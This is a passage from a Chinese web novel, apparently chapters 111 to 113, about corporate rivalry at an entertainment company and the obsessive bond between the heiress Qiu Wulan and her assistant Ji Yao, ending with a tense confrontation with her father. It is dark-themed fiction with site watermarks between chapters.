“元旦新迎的日子,她一声不吭地挖走了整个团队十几号人,选在流量最高的时间通告全网。” 食指微动,锃亮的西餐刀在桌上转了一圈,“为什么就不能早一天呢?” “早一天,我们还能有点缓冲,可以做各方面的抢救,偏偏要是节日的最后一天——天亮就要开盘的时间。” 芳若一怔。 原来,就连时间都经过了设计。 宋折凝在元旦的最后一天背叛秋叶,季尧就选择了国庆的最后一天让她销声匿迹。 这人真是睚眦必报到了极点。 季尧淡淡道,“即便是这样,秋叶也没有找过宋折凝的麻烦。她大可出国追她的导演梦,偏要营造出被秋叶欺负的受害者形象。 “当时的季语薇是姐姐救市的唯一稻草,宋折凝明知道短时间内我们只有这一个方案了,还要借题发挥,散布姐姐为捧季语薇、打压她的谣言。” “你让我为她着想——”季尧松手,雪亮的西餐刀哐当落在桌布上,遮住冰冷的刀光,“她有为姐姐想过一次么。” “一旦姐姐背上了任人唯亲、打压元老的标签,她在行业内的处境,和宋折凝现在又有什么不同?” “整整一年过去,董事会至今还在问责姐姐,认为是她逼走了宋折凝。” “要不是姐姐力挽狂澜,收了华君润、掐着季语薇的脖子让她不眠不休地工作,姐姐早在去年就被董事会开除了。带着这样的名声离开秋叶,整个行业会有谁敢用她?” 那双浅色的圆眸冷若冰霜,“不过是让宋折凝体会一下姐姐当时的处境,怎么就成了‘过分’?她要是真有能力,大可以像姐姐一样破除万难、卷土重来。” 芳若哑口无言。 宋折凝不仅是在邱芜澜处理她离开秋叶的危机时,买了营销抹黑邱芜澜; 在季尧从威亚坠落时,宋折凝也跟着添了把火。 即使安全事故那次是芳若先提出的话题,可早在她开口之前,宋折凝便表露出了幸灾乐祸。 她不过是顺水推舟说出了宋折凝心里的想法,以便让邱芜澜不要忘记当初被宋折凝背刺的屈辱。 邱芜澜越讨厌宋折凝,邱承澜就越要维护宋折凝。 通过和宋折凝捆绑,邱承澜将自己送到了邱芜澜的对立面,刺激着她向宋折凝、乃至向宋折凝背后的他挥刀。 当邱芜澜反抗邱承澜的那一刻,她便拥有了独立的人格,不再是邱承澜的附庸。 季尧说到这里,芳若冷静了下来,“所以,小邱总知道邱总背后做的事。” “你误会了,”季尧弯眸浅笑,“电影的事和姐姐无关,姐姐太善良心软,是我看不下去。” “不管怎么样,这次都得谢谢你。”他带来了更大的盒子,放置在转盘上,推给了芳若。 “不知道以后会不会见面,芳若姐,替我跟你的女儿们问声好。” “真好。”介于少年和青年间的男孩冲她露出微笑,“她们有个很爱她们的伟大母亲啊。” 芳若握着停在自己面前的木盒。 她五味杂陈地望着季尧离开的背影。 包厢里的电视机放着新闻,端庄的女主持喜气洋洋地播报: “为期一月的预约通道已经关闭,秋叶影视城自平息天价场地费用的风波后,受到了影视行业的青睐。 “记者得知,在预约通道关闭当日,秋叶已成功签下了21单合约,其中包括著名导演……” 她果然没有再见到季尧了。 那之后,芳若和团队的其他人一样离开了华映。 邱承澜给她安排了个清闲高薪的文职工作,朝九晚五,请假也很容易。 她的办公区域和集团高层们很远,芳若只有一次在停车时,看见季尧为邱芜澜打开车门,进入电梯。 这一年里,芳若虽然没有接触季尧,却听到了很多关于他和邱芜澜的传言。 从一个无所事事的花瓶偶像,一跃成为精干特助,又长了一张醒目的脸,关于季尧的流言格外的多。 有人说,一直跟随邱芜澜左右的简已经不太出面了,现在不论邱芜澜去哪,身边都少不了季尧; 有人说,季尧是个很有心机的男人,跳楼不是为了报复邱家,而是为了吸引邱芜澜的注意。 还有更加荒诞的流言称,季尧不是邱家的亲戚,他是邱岸山情妇和前夫的儿子。 什么样的妈生出了什么样的儿子,他是个面善心恶的狐狸精,从小觊觎邱家,和他妈一样无耻地勾引了继承者,所以才会那么针对邱芜澜的历届前任。 他是小三、是□□的人渣、是吸血的资本黑.势力、是邱芜澜身上最大的污点。 可再多、再离谱的谣言,都止不住季尧手中的项目越来越多、他的权力也越来越大。 张疏文忐忑地望着眼前的青年。 他实在美丽,身为同性,张疏文都被对方的容貌所惊艳。 可他无心欣赏这份颜色。 张疏文认得这张脸,也听说过这人的许多丑闻。 “秋叶娱乐。”一张名片推到了张疏文面前,他愣了下,不明所以地抬眸,对上青年人畜无害的笑容,“你好呀,我是季尧,” “我知道你。”张疏文警惕地点头,“找我有什么事?” “论起来,我们是一个学校的校友。”季尧搅拌着可乐中的冰块,“秋招结束了,工作还顺利么。” 冰块的叮咚声里,张疏文沉默着。 片刻,他背起双肩电脑包,起身离座,“不好意思,我还有事。” “果然天才都有点脾气。”他身后传来清悦的笑,“抱歉抱歉,是我用词不当。” 张疏文回头,脸上显出薄怒,“你是太闲了么,特地来挖苦我一个素不相识的同学!” “不,”季尧摊手,“我一点儿也不闲,十分后就得去见客户,来见你可是好不容易才挤出的时间。” “你到底想干什么!” “想邀请你入职秋叶。” 张疏文愣怔着,他转过身,狐疑地打量季尧。 “真的?你是说真的?” 两个月前,张疏文听到这句话只会觉得莫名其妙。 秋叶作为娱乐公司,和他的专业不能说八竿子打不着,可也并不对口。 但现在,情况变得不同了。 “这不是我说的。”季尧道,“是秋叶娱乐的总裁,邱芜澜说的。” “邱总?”作为娱乐行业的预备役,张疏文自然听说过这个大名鼎鼎的女企业家,“她怎么会知道我?” “她看了《马家面馆》,还是点映哦。” 张疏文的脸色顿时灰败下来。 “是么……”他抓着电脑包两侧的调节带,苦笑,“连她也知道了啊。” 张疏文还记得被宋折凝买下剧本时的狂喜,还有跟着主编在片场学习的那段时光。 他以为他是遇到了贵人,现实却给他当头一棒。 《马家面馆》这部他在医院驻扎一年半、跟访数十位绝症患者及其家属的心血,前不久还是他最骄傲的作品,如今却成了他想要拼命遮掩的小脚。 因为那部电影,所有工作室、剧组认识了他,他们都知道了张疏文这个名字—— “那个用了侵.略国军歌的电影的编剧”。 明明他什么也没做错、明明是和他完全无关的错误,可没有人在乎。 娱乐圈的编剧多如牛毛,他们没有必要去采用一个有过污点的学生。 事情已经过去了三个月,在这期间,张疏文投出了上百份简历,绝大多数石沉大海,剩下那些在背调之后也委婉地拒绝了他。 昼夕之间,他从炙手可热的优秀毕业生沦为了丧家之犬。 在接到季尧的邀约前一晚,张疏文正在收拾东西,准备考取教资,回家乡当个语文老师。 “邱总很喜欢那部电影的剧情。” 张疏文无所谓地笑笑,“谢谢她。” “本来你跟着宋折凝,也算是学以致用。现在却出了这样的事,邱总觉得可惜。”季尧倾身,“她要我一定来见见你。” 张疏文为难道,“但是秋叶娱乐里似乎没有我能干的工作。” “秋叶娱乐暂时没有,可邱总手下会有的。”季尧吸了口可乐,“你也知道我们的影视城项目很成功,很快,邱总就会接手秋叶集团的文娱产业。” “文娱产业?” “文娱和娱乐合并后,邱总会在秋叶阅读里孵化影视作品:将有改编影视潜力的小说收集起来,直接对接给影视城和秋叶娱乐的艺人们。” “新的项目,需要新的负责人。”季尧看着他,“不知道你有没有兴趣。” 张疏文瞠目结舌,“负、负责人?我…我吗?” 他磕磕绊绊地低语,“我还是只是个刚毕业的学生……” 季尧噗嗤笑道,“当然不是现在,现在的你还欠缺很多经验。” “如果你有进入秋叶的意向,我会安排你去成熟的编剧导演和秋叶阅读的影视版权编辑身边学习。” “呀,十分钟这么快就过了。”他看了眼手机,将一张信函留在桌上,“offer留在这里,我得走了,考虑好了就找我,名额保留两年。” “等一下!” 季尧顿足,“嗯?” 张疏文抓住了那封offer,抬眸紧盯着季尧,“不用考虑,我已经想好了,什么时候、去哪里入职?” 他已经走投无路,错过这次,再不会有和秋叶相当规模的公司录用他。 他根本不需要犹豫。 望着眸色坚定的张疏文,季尧眸中划过一丝笑意。 他甜甜地笑了起来,向张疏文伸手,“那么,欢迎你入职秋叶。” 礼物终于落入了他的口袋,只花两块黄金就弄到了手。 季尧含笑的眼底堆满暗沉的陶醉。 姐姐看见这个礼物,一定非常惊喜。 她会夸赞他吗?她会奖赏他吗? 季尧舌根抵着泛甜的上颚,心跳快得抽疼。 要是姐姐能抓着他的发根、喂给他甜蜜的唾液,那他至今所做的一切就都有了意义。 得早点回去。 季尧被那狂乱的心跳吵得头晕眼花,他站不直身体,全身骨头酥麻发痒,迫不及待地想要跪倒在那丛兰草里。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第一百十二章 第112章 第一百十二章 一年后 “季总、季总, 等一下,我正要去楼上找你。” 季尧回眸,看见秋叶娱乐市场总监带着文件匆匆走来, “这是今年Q1的ASHS评估分析。您先看,觉得哪里不合适了我们再改。” 季尧接过, “好,谢谢。” “不打扰你了。”市场总监笑着离开, “我还有个会议。” 季总——这是个特别的称呼。 季尧依然只是邱芜澜的特助。 不论是邱芜澜的亲弟弟,还是简这般德高望重的元老,都不曾在助理期间被如此称呼。 季尧翻看着手中这一季度的ASHS分析, 视角的余光里进入一双合作商品牌的皮鞋。 他抬头, 冲迎面走来的男人偏头微笑, “早啊君润哥。” 端方温润的男人冲他点头致意, “你也早, 季尧。” 季尧扫过他身上的赞助衣饰, “有活动?” “一个时装展。” “我想起来了, ”季尧勾唇,“韩尘霄也被邀请的那个?君润哥现在都和他一起活动了?” “是啊,”华君润似乎没有听出他戏谑的嘲讽, 付之一笑, “这两年小韩很努力。开年会议上已经有人提议设定他的ASHS赌约了, 要是他有意向,明年也许就会在这一层有自己的办公区。” “又多一位ASHS, 姐姐一定很高兴。”季尧弯眸, 从华君润身旁走过,“只是可惜,君润哥到现在都还没有恢复记忆, 否则业务能力能更上一层。” 华君润礼貌地微笑,“我也学得差不多了,没有记忆不耽搁工作。” “那就好。”季尧朝着华君润身后更远的深处迈步,“别太在意过去了君润哥,既然大脑选择了彻底遗忘,就说明那段记忆不值一提。忘了,也是件好事。” 华君润定在原地。 良久,在听不见季尧的脚步声后,他亦朝着自己的前方而去。 踏入26层,季尧远远在邱芜澜办公室门口看见了一对熟悉的身影。 靠门的是难得回公司的季语薇,而季语薇对面的人,则有些意料之外了。 “宋姐?” 看见对方的瞬间,季语薇脸上荡开了一层笑意。 “好久不见,你怎么会出现在这里。” 距离被安全局带走不过一年,宋折凝的长相没有丝毫变化,可她的精气神变得截然不同。 信息化时代的记忆并不强,任何负面流言要不了几个月便会被大众遗忘,唯独关乎国家政治的内容是一把焊印,没那么容易脱离。 《马家面馆》被中途下架,宋折凝流失了相当一部分商单,她在尝试接取新单未果后,毅然决然地筹备起第三部电影,准备一把翻身。 第三部电影的投资不太顺利,加之想要尽可能占有利益,宋折凝投入了大笔个人资金。 一周前,宋折凝的第三部电影档期结束,从各大院线下架。 一周后,宋折凝第一次回到了秋叶。 “你现在是彻底转型当导演了,最近一年都没怎么见到你,”季语薇笑吟吟地打量着她,“听说新电影出来了?叫什么名字?我明天有半天的假,和芜澜一起去给你捧场呀。” “不用了。”宋折凝冷声道,“我找邱芜澜有点事,能让开么。” “嘘——” 季语薇竖起食指挡在唇前。 她站在挂着邱芜澜铭牌的办公门前,对她眨眼,“你忘了么宋姐,昨天是集团的Q1会议,忙到很晚,芜澜她正在午睡。” 季语薇反手按下把手,门被打开半侧,猫儿一样后退。 她扶着内侧的门,对宋折凝弯腰比嘘,仿佛门后是她专属的秘密花园,没有她的允许,任何人不得入内。 这巧笑倩兮的炫耀让宋折凝有些眼熟。 恍惚间,她猛地想起了自己曾在哪里看见过这样的季语薇—— 两年前的那个元旦夜晚,在秋叶签约季语薇、发布的九宫格里,第一张便是季语薇站在秋叶娱乐艺人休息室门前,眨着左眼,食指比嘘。 那是秋叶娱乐最高规格的艺人休息室,门牌上赫然写着“季语薇”三个字。 现在,她当着她的面站在了邱芜澜的门前。 这个从前宋折凝随意出入的门成了季语薇的领地。 她的办公区、她的练歌房、她的练习室、她的秋叶首席艺人照、宋折凝所有的一切,如今都成了季语薇的掌中之物。 门没有关死,缓缓弹出缝隙。 透过这条门缝,宋折凝看见季语薇点着轻步去到了邱芜澜身边。 如她所言,邱芜澜趴在桌上小憩。 这是宋折凝第一次见到邱芜澜午睡。 她从来不知道,拥有休息室的邱芜澜还会和普通员工一样趴在桌上睡觉。 她不是没有在中午找过邱芜澜,但每一次推开门,邱芜澜都端庄地坐在位置上,像一束终年不化的雨凇,永远敏捷清明,没有片刻松懈。 狭窄的门缝里,季语薇俯下身,优雅慵懒的法式卷落了一缕在邱芜澜头顶,和邱芜澜的头发不分彼我,融为一体。 她附耳说了些什么,邱芜澜缓缓睁眸,眼神惺忪茫然,看着竟有些单纯可爱。 季语薇食指指向了门外。 顷刻间,那双眼里的朦胧睡意雪般融化,露出其下宋折凝熟悉的清冷明净。 在被那根纤细的食指指向的瞬间,一股难言的羞耻迫使宋折凝后退避让。 如果不是走投无路,她死也不会来秋叶自取其辱。 宋折凝能拿出来的钱几乎都砸给了《马家面馆》和第三部电影,眼下商单被解约、《马家面馆》几乎没有为她盈利,第三部电影也已结束,收益惨淡,远达不到对赌目标额。 剩下半年,已经来不及让第四部电影上映获利,宋折凝打过了所有能联系的电话,最终不得不走到这里。 还剩下近九千万的纯利,宋折凝无论如何都不可能在半年内完成。 她不是穷到了拿不出钱垫补赌约,她怕的是对赌失败后,华映要修改她的艺人合约。 在圈子里混了那么多年,宋折凝太清楚不过,经纪公司能在合法的限度内做出什么恶心的事情来。 多少艺人被合约束缚,被公司敲骨吸髓,逼得精神抑郁、自杀了结。 《马家面馆》之后,华映的高层对她态度冷淡,甚至还不如对待二线明星! 从秋叶带去的团队早就各自分散,这一年来,宋折凝每一天都在煎熬中度过,梦里梦外都是压得她喘不过气的赌约。 她为什么要离开秋叶、为什么会对邱芜澜那么不满? 在华映遇冷的那些日子里,宋珍妮反复质问着自己,可怎么也想不起来,自己是如何跟邱芜澜走到这一步的。 风光无限的日子里,她脑子里堆满了邱芜澜冷淡的脸色、桀骜的语气,邱芜澜的一个眼神都能让宋折凝觉得自己被看轻; 然而跌入谷底后,她能想起来的,却是邱芜澜当着别家公司的面,弯腰低头,乖顺地吃下她喂来的那一口蛋糕。 如果她没有离开秋叶,现在怎么会站在门外,像个鹌鹑似得不敢入内。 宋折凝后悔不已,深陷泥淖之中,拜神求人的最后,她只剩下了邱芜澜——那个比她还要了解她的优势,将她的商业价值发挥到极致的女人。 宋折凝并不奢求邱芜澜念及往日情分出手相助,她只是想赌一把: 自己身上还有邱芜澜可以利用的价值。 虽然连她自己都想不到她还有什么可用之处,可或许呢——那可是邱芜澜,是能点石成金,把平平无奇的路人打造成一线巨星的业内神话。 或许呢,她或许会看见她自己看不到的闪光点呢? 抱着妄想般的希冀,她给邱芜澜发了消息。 宋折凝没敢拨通语音,也羞于开口讲述原因,只含糊地说想要见邱芜澜一面。 邱芜澜答应了,于是她便来到了熟悉的故地。 办公室的门被从内打开,探出季语薇的身形。 她对着门外的宋折凝莞尔,像是主人般招呼道,“芜澜醒了,你可以进去了。” 宋折凝越过季语薇踏入门内。 “对了,宋姐。”擦肩而过之际,她被季语薇唤住。 宋折凝扭头,眼前递来了一张描金边的信封。 她不明所以,对上季语薇盈盈的美眸,“下月初是我三十岁生日,芜澜为我拍了一栋庄园,你有空的话,一起去玩玩?机票夹在里面了。” 宋折凝深深吸气,她花费了点时间调整表情,才接下了那封信。 季语薇愉悦离开。 门口的两次对话,让宋折凝心情差到极点。 这才只是个季语薇,想到接下来要直面的人,宋折凝羞愤欲死,几度想要转身走人。 不料,在入门的刹那,宋折凝就看见了迎接她的邱芜澜。 “宋姐。”她站在门口,对她张双臂,满眼皆是失而复得的笑意。 宋折凝一愣,被邱芜澜抱了满怀。 她轻轻拍抚着她的后背,在她耳畔欢迎,“宋姐,好久不见了。” 同样的话、同样都是笑脸,季语薇说出来时,宋折凝恨不得转身就走;可现在—— “芜澜……” 她低下头,眼鼻忽而就泛起了酸涩的红,喉咙也堵满了咸湿的沙泥。 “怎么了这是。”邱芜澜为她拭泪,引她在沙发坐下,“喝点水,慢慢说。” “别急,”她按住宋折凝的肩膀,温和而轻柔地开口,“我会帮你。” 走廊上的季语薇余光瞥向沙发。 自她的视角看去,天花板的灯光打在弯腰站立的邱芜澜身上,她所投下的阴影将宋折凝笼罩吞噬。 她悄无声息地离开办公室,这一次,大门死死合闭,不留一丝空隙。 出了门,季语薇和走廊另一头的季尧四目相对。 两人心照不宣地回到自己的位置上,没有打扰办公室里的邱芜澜。 他们都明白接下来会发生什么,正如华君润求邱芜澜重签他的晚上,邱芜澜回答的那样—— 「君润,如果六年后,季语薇背叛了我,你猜,我会不会接受宋折凝的入职请求?」 「我会。」 「只要她还是天后、视后、影后——无论什么,哪怕她成了个直播带货的网红,我也还是会签下她。」 这是一块闪闪发光的慈善奖章,挂在胸前既光鲜亮丽,又能带来利益。 邱芜澜没有理由拒绝。 这天,是邱芜澜担任秋叶娱乐副总裁的最后一天。 当太阳再度升起,三十岁的邱芜澜便会进入秋叶集团,接手秋叶的文娱产业,将其和秋叶娱乐进行整合。 在她前往集团的前夕,收到了邱承澜的消息。 “上车。”他截下了准备下班回去的邱芜澜。 邱芜澜脚步一顿,季尧随之停顿。 “去哪里?”她问。 邱承澜唇边泛起了笑意,“拳击场。” 邱芜澜很久没有看见邱承澜的笑容了,她晃了片刻的神,侧身对季尧道,“阿尧,你先回去。” 季尧抿唇,晦涩地看了眼车上的邱承澜,应道,“好的姐姐。” 邱芜澜上了副驾驶,车子朝着郊外开去。 邱承澜带她去了从前玩过几次的拳击场。 夜幕降临,场馆里热火朝天。擂台上是血汗交加的搏斗,观众席上是热烈沸腾的吼叫。 他们穿过躁动的人群,进入高处的贵宾包间。 侍者送来酒水后退了出去,将空间留给兄妹二人。 邱芜澜问:“为什么突然带我来看拳击?” 邱承澜没有回答,他从冰桶里取出一瓶香槟。 打开木塞,他为邱芜澜倒了一杯。邱芜澜制止,“哥哥,你和我都该避免酒精。” “我见了红医生,她说你的病情好转了很多。”金色的酒液落入杯中,邱承澜道,“喝一杯吧,这是我四年前就存在这里的,我等开它,等很久了。” 他的语气很久没有这样温和了,邱芜澜就此接过。 她看向杯子里灿烂的香槟,听着隔音墙外的欢呼,“接手文娱是意料中事,没必要开香槟庆祝。” “我庆祝的不是这个。” 叮—— 另一支香槟杯碰上了她的杯口,发出清悦的声响。 邱承澜庆祝的,是邱芜澜会询问他的目的地,再决定自己是否要去。 他的妹妹,不再盲目追随他了。 “那是庆祝什么?”邱芜澜问。 邱承澜回正上身,抿了口杯中的香槟,望向擂台,没有言语。 邱芜澜偏头,没有第三次追问他带自己来的目的,转而和邱承澜一起观看台上的比赛。 为邱承澜脱敏的那段治疗期,邱芜澜经常陪着他看刺激性场景,这座拳击馆便属其中之一。 一开始,只是为了陪伴哥哥而已;到后来,邱芜澜也慢慢喜欢了观赛。 几场比赛之后,她招了侍者过来。 “让14号再打一场。” 侍者为难,“女士,这不符合规则。14号刚打完一场,需要休息,而且他还是个新人呢。” 邱芜澜撕下一张支票,“我知道,帮我问问他吧。” “好吧。”侍者拿了支票离开了。 十分钟后,刚下台的14号再度回到了台上。 他年纪不大,看着不过十七八岁的模样,经验体格都不如这里的老拳击手,上一场结束时拼尽全力才险胜,漱口的水里弥漫着血丝。 仅隔十分钟,再度上场的14号引起了议论。 邱芜澜支着头,斜饮香槟,目光灼灼地望着台上年轻的男孩。 他精壮赤裸的身上布满汗水,晶亮的色泽比香槟的颜色更加瑰丽。 邱芜澜喜欢极了。 这场比赛,精疲力竭的14号自然没有赢,但他输得不难看,超出了观众预计。 “告诉他。”邱芜澜再度撕下了支票,“零点前,他要是愿意再打一场,这些钱就都是他的了。” 侍者接过支票离开,回来后对邱芜澜道,“14号说他会再打一场的,希望能见一见您。” 邱芜澜轻笑出声,清冷的五官由此洇出一层姝娆。她发自内心感到高兴时,能催生出令人晃神的美艳。 “今天就算了,过几天吧。”她说。 “就这么喜欢?”邱承澜挑眉。 “他很有潜力。” 邱承澜挑剔地俯瞰赛场,“他的勾拳确实狠辣,可动作还是太嫩了,看着像只小鸡。” 邱芜澜笑意吟吟,“就是因为稚嫩,所以才有成长空间。给够养分,他会成为优秀的拳击手的。” 她兴致勃勃地等待14号第三次出战。 当时针指向十二点,休息了两个小时的男孩踏上擂台时,邱芜澜蓦地直背倾身,如同看见绝色美景般悸动地紧盯向他。 邱承澜不动声色地观察着她的反应。 他清冷绝尘的妹妹,总是在看见优秀的“种子”时情难自禁,在细枝末节的动作神态间,仿佛变了一个人般。 少有能触动邱芜澜的事情,他今天的选择没有错,芜澜果然喜欢他为她挑选的娱乐节目。 看着开心的妹妹,邱承澜半是欣慰,半是愧疚。 他喝下最后一口香槟,于心底讥讽地苦笑。 幸好——幸好,她还有喜欢的东西。 看完14号最后一场比赛,邱承澜送了邱芜澜回去。 “早点休息,”他在别墅门口停下,“明天是你去集团的日子。” “哥哥也是。”邱芜澜颔首,“路上小心。” 邱承澜望着邱芜澜进门。 她没有再露出依依不舍的痛苦神色,干脆利落地和他道别。 他在车里坐了一会儿,披着星月,安心离开了妹妹的领地。 旭日升起的那一刻,邱芜澜迈向了秋叶集团。 季尧本该陪同她前去,却临时被简打断。 “邱总…小姐,”她用了邱芜澜无法拒绝的称呼,恳求她,“这一次,能让我去么,我实在不想错过这个过程。” 邱芜澜听懂了她的心愿。 这是简最后一段辅助她的日子,她不愿意把邱芜澜登顶的荣光让给自己讨厌的情妇之子。 邱芜澜爱季尧,可于情于理,简为她奉献了一生,她对她的贡献无人可比。 她于是答应了简,把季尧留在家里。 出发前,季尧一边为她系衬衫上的珍珠扣,一边可怜地试探,“姐姐,我能给你做晚饭么。” “我不确定今天什么时候回来。”邱芜澜直言坦白。 在季尧露出小狗耷拉耳朵的表情时,她吻上了他的唇,妥协道,“做个甜点吧,不管几点回来我都有胃口吃这个。” 季尧弯眸,露出一侧犬牙牙尖。 他送邱芜澜离开,尽管如今季尧已不会因为短期分离而出现躯体反应,但有些习惯还是保留了下来。 他习惯性地站在她离去的门前,发上一会儿呆。 半个小时,身体苏醒后的季尧准备回书房看点资料,门外蓦地传来停车声。 随后,熟悉的脚步朝着大门靠近。 季尧一顿,在门铃按响的第二声打开了大门。 “哦?” 门外的中年男人挑眉含笑,“原来有人在。” 他旁若无人地进入了房,肆意打量着室内布局,站在客厅中央环顾一圈后,扭头回看季尧。 “奇怪。” “你妈妈还知道给客人倒杯茶,到了你这儿,我连句问候都得不到么。” 男人眼角的鱼尾纹深邃了两分,调侃般轻语,“是芜澜把你宠得目中无人了?” “不,怎么会。”季尧掩住心下的惊愕,露出人畜无害的微笑,“您坐,董事长,我马上为您准备。” 他霎时明白了,简为什么会突然要求邱芜澜把他留下来。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【全文完结】 第113章 第一百十三章 看见眼前的红茶, 邱岸山笑了,“芜澜私下也喝茶么。” “医生不建议姐姐喝,这是宝悠的项目经理送的。” “我还以为是你贤惠细心, 特地在家里备了给岳父喝的。” 邱岸山抿了口茶,品香之后, 倏尔笑道,“开个玩笑哈哈, 我怎么舍得让自己变成岳父呢。” “我理解。”季尧弯眸,“换做我,也不会放心让人共享姐姐的资产。” “你真是与众不同。”邱岸山眼底划过一丝纯粹的恶意, “我是男人, 我见过的男人比女人更多, 所以我很清楚男人是什么样的东西。” “掠夺、贪婪、私自冷血刻在我们的基因里, 你却不同。” “这世上竟会有男人不想霸占自己痴爱的女人。季语薇是迷恋权利, 你也不是图财, 你的这种基因——”他唇角的恶意更稠更密, 轻声细语,“真是纯正的情夫小三。你妈妈,远不及你。” 季尧展眉, “董事长, 我只是真心爱她而已。” “爱?哈哈哈哈哈哈哈。”邱岸山大笑出声, 抚膝摆手,“你觉得自己很伟大?能够包容爱人的一切?” “看看季语薇——这想法真是你自己的么, 还是芜澜塑造的?” “董事长, 我不明白。”季尧不解,“如果是后者,您何必戳破呢。” “因为你有点小聪明。”邱岸山点了点一侧太阳穴, “我现在不说,你早晚也会意识到这个事实。你的根须正一寸寸深入我的集团、我的芜澜,我不得不防患于未然。” 他从沙发上坐起,“走吧,带我去看看。” “您指什么?” 邱岸山道,“那个房间。” 季尧为难道,“抱歉董事长,我没有钥匙。” “你会打不开它?” “您也知道,那不是普通的房间,姐姐不会允许别人随意进入。”他补充,“当然,我不是在说您,只是以我的身份,还没有随意出入的权力。” “哈。”邱岸山笑了出声,“你说得很有道理。不过,我实在想象不出我女儿系着围裙、带着袖套打扫房间的模样,难道,她是让保洁打理的那里?” “打扫的时候她会为我开门。” 看着油盐不进的青年,邱岸山摩挲着下巴思忖,“这么说,我只能找爆破队上门了?” 季尧眸色微沉,他相信邱岸山做得出来。 “董事长,那是姐姐的房间,她不是邱泽安邱泽然,您是不是该多尊重她一点。” “瞧瞧你、瞧瞧你。”邱岸山抚掌,赞叹钦佩,“这样又忠心、又聪明还软硬不吃的狗,多么少见。” “好狗,让开。”他用惋惜的口吻叹气,“我不想做一个弄坏女儿玩具的坏父亲。” 季尧人畜无害地笑着,脚步没有后退半寸。 邱岸山背过身。 沉稳有力的脚步声顷刻自门外传来,在他们进入别墅之前,客厅里的微型摄像头发出了清冷的女音: “阿尧,带父亲去。” 季尧抿唇,在他不甘心的目光中,邱岸山无不得意地耸肩。 季尧转身,“跟我来,董事长。” 他打开了杂物间对面的那扇门,霎时间,密密麻麻的人像照片出现在两人面前。 整个天花板都覆盖了季尧的照片,最中央突兀立着一柱玻璃展柜,展柜中摆满了六岁到二十二岁的季尧。 邱岸山吹了声口哨。 他踱步在一柱柱展柜间,这闲庭散步的姿态让季尧呼吸微重。 邱岸山呼出的气息弥漫在室内,专属于姐姐的照片被他用眼神一一抚弄。 他玷污了这里,闯入了姐姐最珍爱的核心领域,目中无人、狂妄无比。 季尧心跳滞涩了半息,一种熟悉而陌生的感觉油然而生,像是他出手打韩尘霄之前的状态。 “芜澜小时候,有一个很喜欢的熊娃娃。” 在季尧烦闷到呼吸困难之际,他听见邱岸山开口,“她是万众瞩目的千金大小姐、是邱家的继承者,必须仪态端庄,所以她生气的时候只会去运动,再气一点的时候,就会拿着自己的发圈绑在熊娃娃身上。” 邱岸山站在季语薇的展柜前,模仿着弹皮筋的动作,“一圈、一圈,绑到发圈绷到没有弹性为止。” “有一次,芜澜的母亲发现了这件事。” “柔软可爱的小熊被漆黑的发圈勒成一截又一截。她很担心芜澜会有反社会人格,长大后作出些挑战法律的行为,于是收走了那个娃娃,禁止她再这么做。” “她的担忧是多此一举,我知道芜澜不会变成罪犯,也知道她很想念那个小熊。” 「“亲爱的,这可是她为数不多喜欢的娃娃,就这么收走,是不是太残忍了。” “我好想你,哥哥,亲亲我好么。”」 “但我更爱我的妻子、我的妹妹,有她在,我才能得到芜澜、得到那么多纯正的血脉。”邱岸山合掌,“所以,我允许她在合理的范围内随心所欲管教孩子。” 季尧脸上不复虚假的笑容,他盯着他,“你想要说什么。” “承澜六岁就被送去了疗养;妻子死后,我不想带女人去家里,便很少有回家的机会,错过了泽安泽然的成长期。” “我爱我所有孩子,可说到底,只有芜澜才是我花费时间精力,亲自养大的。” 邱岸山无视了季尧的提问,他对季尧的蔑视从来都不屑遮掩。 “即使所有人都说承澜和我年轻时一模一样,但只有芜澜——四个孩子里,她才是最像我的人。” “她骨子里追求成功的冷血、她对家族的执念、她的病、她对亲人偏执的爱……她是我最完美的复制。”男人的手掌附在展柜上,转过头,对季尧勾唇,“我们的区别无非是性别。” “被母亲夺走娃娃,她连用手边玩具发泄的资格都不再有,一辈子束缚在了女人的贞德驯良里,所以才会建立这样一间自欺欺人的伊甸园。” “她被绑得太久了,如今只能看别人冲破她不敢冲破的茧,获得她不能有的新生。每天躲在这里面可怜巴巴地对着图片兴奋、发泄,” 季尧忍不住笑了。 “我该怎么样才能让你闭嘴呢董事长。你也知道我是精神病,法律约束不了我,或许现在离开这里才是明智之选哦。” “你真的有那个胆子么。”邱岸山五指微收,扣住了玻璃门的把手,“不想看我毁了芜澜的宝贝玩具们,就安静点,别汪汪叫了小家伙。” 他眸光唯移,思考着,“我刚才说到了哪儿?啊,我的小天使,我可爱的女儿,因为有一个对她抱有过分期待的母亲、一个为了讨好她母亲而忽视她的父亲,她建立人格的生长期全都束缚在铁处.女里,到现在,我想要补偿她,竟都无处下手。” “她不在意包包化妆品、不在意车子房子、不在意旅游美食,当然,也不在意学习获得文凭、工作获得盈利。” “她掌握了许多特长,却从来没有空间培养一点自己的小爱好,AI一样活着。” 邱岸山长长叹息,“我的心都要碎了。” “更可恶的是她幼稚的哥哥,因为失去了母亲就迁怒自己妹妹,要求她必须和自己统一战线,逼她又一次和自己心爱的小熊分离。” “男人就是这样,我们的基因理所当然地要求女人服从自己。” “等他长大,意识到自己干了什么蠢事之后,又自己把自己气进了精神病院。” 季尧终于从邱岸山的疯言疯语里听到了一点有用的信息。 他猜测到邱承澜对压迫姐姐的事有些后悔,但他没料到,那个不可一世的高傲者居然会后悔到把自己折腾住院。 这是什么时候的事,季尧从没听说过。 “虽然我不是很喜欢那个狂妄自负又总是想推翻我的小子,可在医院的那段时间,他确实可怜。” 邱岸山拉开门,拨动着里面季语薇的照片,“医生说他发作时没有攻击的目标,就不停用指甲抓挠自己的皮肤,一边哭着嘶吼‘妹妹、妹妹’‘芜澜我爱你’,哈……他宁愿对着自己的亲妹妹喊‘我爱你’,也不肯说一句‘我错了,对不起’。” 听着似乎有些触目惊心,但季尧并不意外。 邱承澜就是这样高傲到自负。 他推崇权威,眼高于顶,除金字塔顶端那小部分人之外,不屑于听取下面任何声音。 正因如此,当邱承澜意识到自己性格上的巨大缺陷后,才会惶恐急切地向邱芜澜求救: 求她凌驾于他之上,不要让他像疯马一样乱撞。 唯有邱芜澜——和他流着相同的血、由相同基因组成的妹妹,才能让他心甘情愿地献出缰绳。 “总之,承澜出院后的第二个月,秋叶娱乐诞生了。” “他告诉芜澜很多进军娱乐圈的理由:口碑、市场,甚至是避税……那么多零零碎碎的理由,都是为了遮掩他的愧疚。” 